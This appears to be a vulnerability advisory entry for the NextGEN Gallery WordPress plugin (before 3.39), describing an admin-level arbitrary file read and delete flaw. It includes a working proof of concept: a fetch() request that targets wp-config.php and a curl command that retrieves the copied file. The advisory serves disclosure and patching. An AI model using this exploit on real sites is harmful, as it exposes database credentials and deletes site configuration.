Lucene search

K
wpvulndbLinwz from DEVCOREWPVDB-ID:5C8473F4-4B52-430B-9140-B81B0A0901DA
HistorySep 25, 2023 - 12:00 a.m.

NextGEN Gallery < 3.39 - Admin+ Arbitrary File Read and Delete

2023-09-2500:00:00
Linwz from DEVCORE
wpscan.com
5
nextgen gallery
arbitrary file read
arbitrary file delete
input validation
server access

EPSS

0.001

Percentile

24.2%

Description The plugin is vulnerable to Arbitrary File Read and Delete due to a lack of input parameter validation in the gallery_edit function, allowing an attacker to access arbitrary resources on the server.

PoC

1. Create a Gallery called “My Gallery” and note its ID. 2. Run the following code in your browser, replacing ADMIN_USERNAME, ADMIN_PASSWORD, and GALLERY_ID accordingly. await (await fetch(“/index.php”, { “credentials”: “include”, “headers”: { “Content-Type”: “application/x-www-form-urlencoded; charset=UTF-8” }, “body”: ‘photocrati_ajax=1&action;=enqueue_nextgen_api_task_list&q;=ADMIN_USERNAME&z;=ADMIN_PASSWORD&app;_config={}&task;_list=[{“name”:“x”,“type”:“gallery_edit”,“query”:{“id”:“GALLERY_ID”},“object”:{“name”:“x”,“image_list”:[{“path”:“…/wp-config.php”,“filename”:“xxxxxxx.jpg”}]}}]&extra;_data={}’, “method”: “POST”, “mode”: “cors” })).text(); 3. Download the file contents with the following curl command: curl http://SITE_URL/wp-content/gallery/my-gallery/xxxxxxx.jpg 4. Note that the wp-config.php file has been deleted.

EPSS

0.001

Percentile

24.2%

Related for WPVDB-ID:5C8473F4-4B52-430B-9140-B81B0A0901DA